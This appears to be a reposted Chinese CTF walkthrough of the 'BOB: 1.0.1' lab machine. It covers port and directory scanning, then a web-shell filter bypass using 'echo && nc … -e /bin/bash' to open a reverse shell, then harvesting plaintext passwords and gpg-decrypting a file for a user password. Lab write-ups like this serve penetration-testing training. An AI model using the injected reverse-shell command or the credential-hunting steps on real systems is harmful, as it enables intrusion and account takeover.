红队打靶练习:BOB: 1.0.1

目录

信息收集

1、netdiscover

2、nmap

3、nikto

4、whatweb

目录探测

1、dirb

2、gobuster

3、dirsearch

WEB

主页:

robots.txt

其他页面

反弹shell

提权

系统信息收集

jc账户

本地提权

信息收集

1、netdiscover
┌──(root㉿ru)-[~/kali]
└─# netdiscover -r 192.168.110.0/24Currently scanning: 192.168.110.0/24   |   Screen View: Unique Hosts4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240_____________________________________________________________________________IP            At MAC Address     Count     Len  MAC Vendor / Hostname-----------------------------------------------------------------------------192.168.110.1   00:50:56:c0:00:08      1      60  VMware, Inc.192.168.110.2   00:50:56:ec:d1:ca      1      60  VMware, Inc.192.168.110.138 00:50:56:22:4d:bb      1      60  VMware, Inc.192.168.110.254 00:50:56:eb:0a:02      1      60  VMware, Inc.

2、nmap
端口探测┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.110.138 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-18 18:53 CST
Nmap scan report for 192.168.110.138
Host is up (0.0047s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
25468/tcp open  unknown
MAC Address: 00:50:56:22:4D:BB (VMware)Nmap done: 1 IP address (1 host up) scanned in 7.53 seconds┌──(root㉿ru)-[~/kali]
└─# cat port.nmap | head -n 8 | tail -n 3 | awk '{print $1}' | awk -F "/" '{print $1}' | xargs -n 3 | sed 's/ /,/g'
21,80,25468

版本信息收集┌──(root㉿ru)-[~/kali]
└─# nmap -sC -sV -O -A -p 21,80,25468 192.168.110.138 --min-rat 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-18 18:55 CST
Nmap scan report for 192.168.110.138
Host is up (0.00047s latency).PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.5b
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
|   256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)
|_  256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)
MAC Address: 00:50:56:22:4D:BB (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.47 ms 192.168.110.138OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds

3、nikto
┌──(root㉿ru)-[~/kali]
└─# nikto -h 192.168.110.138
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.110.138
+ Target Hostname:    192.168.110.138
+ Target Port:        80
+ Start Time:         2024-01-18 18:56:07 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/passwords.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/dev_shell.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/lat_memo.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 591, size: 5669af30ee8f1, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.html: Admin login page/section found.
+ 8106 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2024-01-18 18:56:26 (GMT8) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

4、whatweb
┌──(root㉿ru)-[~/kali]
└─# whatweb -v http://192.168.110.138
WhatWeb report for http://192.168.110.138
Status    : 200 OK
Title     : <None>
IP        : 192.168.110.138
Country   : RESERVED, ZZSummary   : Apache[2.4.25], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop andmaintain an open-source HTTP server for modern operatingsystems including UNIX and Windows NT. The goal of thisproject is to provide a secure, efficient and extensibleserver that provides HTTP services in sync with the currentHTTP standards.Version      : 2.4.25 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ HTTPServer ]HTTP server header string. This plugin also attempts toidentify the operating system from the server header.OS           : Debian LinuxString       : Apache/2.4.25 (Debian) (from server string)HTTP Headers:HTTP/1.1 200 OKDate: Thu, 18 Jan 2024 10:56:19 GMTServer: Apache/2.4.25 (Debian)Last-Modified: Sun, 04 Mar 2018 19:09:32 GMTETag: "591-5669af30ee8f1-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 531Connection: closeContent-Type: text/html

目录探测

1、dirb
┌──(root㉿ru)-[~/kali]
└─# dirb http://192.168.110.138-----------------
DIRB v2.22
By The Dark Raver
-----------------START_TIME: Thu Jan 18 18:57:40 2024
URL_BASE: http://192.168.110.138/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612---- Scanning URL: http://192.168.110.138/ ----
+ http://192.168.110.138/index.html (CODE:200|SIZE:1425)
+ http://192.168.110.138/robots.txt (CODE:200|SIZE:111)
+ http://192.168.110.138/server-status (CODE:403|SIZE:303)-----------------
END_TIME: Thu Jan 18 18:57:45 2024
DOWNLOADED: 4612 - FOUND: 3

2、gobuster
┌──(root㉿ru)-[~/kali]
└─# gobuster dir -u http://192.168.110.138 -x php,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.110.138
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 295]
/.php                 (Status: 403) [Size: 294]
/index.html           (Status: 200) [Size: 1425]
/news.html            (Status: 200) [Size: 4086]
/contact.html         (Status: 200) [Size: 3145]
/about.html           (Status: 200) [Size: 2579]
/login.html           (Status: 200) [Size: 1560]
/robots.txt           (Status: 200) [Size: 111]
/passwords.html       (Status: 200) [Size: 673]
/.php                 (Status: 403) [Size: 294]
/.html                (Status: 403) [Size: 295]
/server-status        (Status: 403) [Size: 303]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished

3、dirsearch
┌──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.110.138 -e* -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594Output File: /root/kali/reports/http_192.168.110.138/_24-01-18_18-58-16.txtTarget: http://192.168.110.138/[18:58:16] Starting:
[18:58:29] 200 -    1KB - /about.html
[18:59:09] 200 -  921B  - /contact.html
[18:59:38] 200 -  621B  - /login.html
[18:59:49] 200 -    1KB - /news.html
[18:59:53] 200 -  406B  - /passwords.html
[19:00:10] 200 -   93B  - /robots.txtTask Completed

WEB

主页:


robots.txt


其他页面



翻译:备忘录由用户Bob在GMT+10:00:37:42发送
嘿,伙计们,这里的IT别忘了查看您关于最近安全漏洞的电子邮件。
服务器上运行着一个没有保护的web shell,但它应该是安全的,因为我已经将过滤器从旧的windows服务器移植到了我们的新linux服务器。您的电子邮件将具有指向外壳的链接。
-Bob


翻译:真的,是谁制作了这个文件,至少可以显示你的密码哈希,黑客不能用哈希做任何事情,
这可能就是我们最初发生安全漏洞的原因。科米恩人这是基本的101安全!我已将文件从服务器上移走。
不要每次有人做这样愚蠢的事情时都让我收拾残局。我们将举行一次会议,讨论我在服务器上发现的这件事和其他事情。>:(

反弹shell

echo && nc 192.168.110.128 1234 -e /bin/bash



python3 -c 'import pty;pty.spawn("/bin/bash")'使用py获得完善的交互式shell

提权

系统信息收集
www-data@Milburg-High:/home$ cat /etc/passwd | grep "/home" | grep -v nologin
cat /etc/passwd | grep "/home" | grep -v nologin
c0rruptedb1t:x:1000:1000:c0rruptedb1t,,,:/home/c0rruptedb1t:/bin/bash
bob:x:1001:1001:Bob,,,,Not the smartest person:/home/bob:/bin/bash
jc:x:1002:1002:James C,,,:/home/jc:/bin/bash
seb:x:1003:1003:Sebastian W,,,:/home/seb:/bin/bash
elliot:x:1004:1004:Elliot A,,,:/home/elliot:/bin/bash

www-data@Milburg-High:/home$ ls -al /etc/passwd /etc/shadow
ls -al /etc/passwd /etc/shadow
-rw-r--r-- 1 root root   2327 Mar  4  2018 /etc/passwd
-rw-r----- 1 root shadow 1783 Mar  8  2018 /etc/shadow

www-data@Milburg-High:/home$ uname -a
uname -a
Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linuxwww-data@Milburg-High:/home$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.3 (stretch)
Release:        9.3
Codename:       stretch

www-data@Milburg-High:/home$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/chsh
/bin/su
/bin/ping
/bin/umount
/bin/mount
/bin/ntfs-3g
/bin/fusermount

www-data@Milburg-High:/home$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@Milburg-High:/home$

www-data@Milburg-High:/home$ cd bob
cd bob
www-data@Milburg-High:/home/bob$ ls -al
ls -al
total 172
drwxr-xr-x 18 bob  bob   4096 Mar  8  2018 .
drwxr-xr-x  6 root root  4096 Mar  4  2018 ..
-rw-------  1 bob  bob   1980 Mar  8  2018 .ICEauthority
-rw-------  1 bob  bob    214 Mar  8  2018 .Xauthority
-rw-------  1 bob  bob   6403 Mar  8  2018 .bash_history
-rw-r--r--  1 bob  bob    220 Feb 21  2018 .bash_logout
-rw-r--r--  1 bob  bob   3548 Mar  5  2018 .bashrc
drwxr-xr-x  7 bob  bob   4096 Feb 21  2018 .cache
drwx------  8 bob  bob   4096 Feb 27  2018 .config
-rw-r--r--  1 bob  bob     55 Feb 21  2018 .dmrc
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 .ftp
drwx------  3 bob  bob   4096 Mar  5  2018 .gnupg
drwxr-xr-x  3 bob  bob   4096 Feb 21  2018 .local
drwx------  4 bob  bob   4096 Feb 21  2018 .mozilla
drwxr-xr-x  2 bob  bob   4096 Mar  4  2018 .nano
-rw-r--r--  1 bob  bob     72 Mar  5  2018 .old_passwordfile.html
-rw-r--r--  1 bob  bob    675 Feb 21  2018 .profile
drwx------  2 bob  bob   4096 Mar  5  2018 .vnc
-rw-r--r--  1 bob  bob  25211 Mar  8  2018 .xfce4-session.verbose-log
-rw-r--r--  1 bob  bob  27563 Mar  7  2018 .xfce4-session.verbose-log.last
-rw-------  1 bob  bob   3672 Mar  8  2018 .xsession-errors
-rw-------  1 bob  bob   2866 Mar  7  2018 .xsession-errors.old
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 Desktop
drwxr-xr-x  3 bob  bob   4096 Mar  5  2018 Documents
drwxr-xr-x  3 bob  bob   4096 Mar  8  2018 Downloads
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 Music
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 Pictures
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 Public
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 Templates
drwxr-xr-x  2 bob  bob   4096 Feb 21  2018 Videos


在bob目录下找到账号密码!jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3

jc账户
jc@Milburg-High:/home/bob$ sudo -l
sudo -l
Matching Defaults entries for jc on Milburg-High:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jc may run the following commands on Milburg-High:(ALL) NOPASSWD: /usr/bin/service apache2 *(root) NOPASSWD: /bin/systemctl start ssh


在bob用户的Documents目录下找到重要线索!


/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here目录下找到一个sh脚本!每句话的开头组成单词:HARPOCRATES 


使用gpg进行解密!密码就是HARPOCRATES gpg --batch --passphrase HARPOCRATES -d login.txt.gpg


成功! bob密码:b0bcat_


本地提权




本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/412555.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

赤藓糖醇行业研究:预计2029年将达到3.5亿美元

赤藓糖醇是一种四碳糖醇&#xff0c;存在于多种食物中&#xff0c;如葡萄、梨、西瓜等&#xff0c;可由微生物发酵法和化学合成法两种方法制备&#xff0c;目前商业化生产中均采用微生物发酵法。赤藓糖醇由葡萄糖发酵制作而成&#xff0c;上游原料主要包括葡萄糖、玉米淀粉糖和…

9个在线图像压缩工具,可让您直接压缩 JPG、PNG 和 GIF 文件。

在这篇文章中&#xff0c;我们收集了九个出色的在线图像优化工具&#xff0c;可让您直接从网络浏览器压缩 JPG、PNG 和 GIF 文件。 除了分享有关每个工具的信息之外&#xff0c;我们还将分享测试 JPG 和 PNG 图像的真实测试数据&#xff0c;以便您了解每个工具可以节省的文件大…

Python数据分析(1)Matrix Manipulation

主要根据的是这学期修的一门data science and analysis课程里的lab&#xff0c;自己做完lab之后会反思一下自己学到的内容吧。 然后这周lab的话主要是用numpy来处理矩阵&#xff08;毕竟numpy可以有效地处理数组&#xff09;。 创建矩阵 np.zeros(k), np.ones(k) #一维矩阵 …

Spring Security的使用条件

Spring Security要求使用Java 8或更高版本的运行时环境。 由于Spring Security旨在以自包含的方式运行&#xff0c;因此您无需在Java运行时环境中放置任何特殊的配置文件。特别是&#xff0c;您无需配置特殊的Java认证和授权服务&#xff08;JAAS&#xff09;策略文件&#xf…

iPhone为什么只有P大写?

不知道你有没有注意一个问题&#xff1f;iPhone为什么只有P大写&#xff1f; 这里面涉及一个程序猿才知道的奇怪的知识&#xff1a;“驼峰命名法”。驼峰命名法&#xff08;Camel Case&#xff09;是一种命名约定&#xff0c;通常用于编程和标识符命名。这种命名使得标识符看起…

zabbix监控平台(agent端)

引言&#xff1a;明人不说暗话&#xff0c;上一篇文章我们讲了zabbix的serrver端部署和配置&#xff0c;今天详细讲解一下agent端服务器&#xff08;客户端&#xff09;的配置和关联 1.进入官网 Zabbix&#xff1a;企业级开源监控解决方案 2.进入下载页面选择需要下载的版本信…

页面数据类型为json,后端接受json数据

项目结构 依赖pom.xml <dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.2.8.RELEASE</version></dependency><dependency><groupId>org.springframework…

一些面试会问到的奇怪问题与面试总结

1.v-for、v-if先后顺序。 官方不建议一起使用&#xff0c;但是有时候面试的时候会问到。 在vue2中是v-for先与v-if的。 源码js编译结果&#xff1a; _c()就是vm.$createElement()&#xff0c;意思是创建一个虚拟的element&#xff0c;就是返回值是VNode。 _l就是renderlist…

群晖Drive搭建云同步服务器结合内网穿透实现Obsidian笔记文件远程多端同步

文章目录 一、简介软件特色演示&#xff1a; 二、使用免费群晖虚拟机搭建群晖Synology Drive服务&#xff0c;实现局域网同步1 安装并设置Synology Drive套件2 局域网内同步文件测试 三、内网穿透群晖Synology Drive&#xff0c;实现异地多端同步Windows 安装 Cpolar步骤&#…

【设计模式之美】重构(三)之解耦方法论:如何通过封装、抽象、模块化、中间层等解耦代码?

文章目录 一. “解耦”概述二. 如何给代码“解耦”&#xff1f;1. 封装与抽象2. 中间层2.1. 引入中间层能**简化模块或类之间的依赖关系**。2.2. 引入中间层可以起到过渡的作用&#xff0c;能够让开发和重构同步进行&#xff0c;不互相干扰。 3. 模块化4. 其他设计思想和原则4.…

Android WiFi Service启动-Android13

Android WiFi Service启动 - Android13 1、SystemServer中入口2、WifiService启动2.1 关键类概要2.2 启动时序图 Android WiFi基础概览 AOSP > 文档 > 心主题 > WiFi概览 1、SystemServer中入口 编译生成对应的jar包&#xff1a;"/apex/com.android.wifi/javalib…

【时间复杂度】时间复杂度优化法则简讲

一、引言 时间复杂度是衡量算法运行效率的一项重要指标&#xff0c;它描述了随着输入规模的增加&#xff0c;算法的执行时间如何增长。在算法设计与分析中&#xff0c;我们经常面临着优化时间复杂度的任务&#xff0c;以便提高程序的性能。本博客将深入探讨时间复杂度的优化法…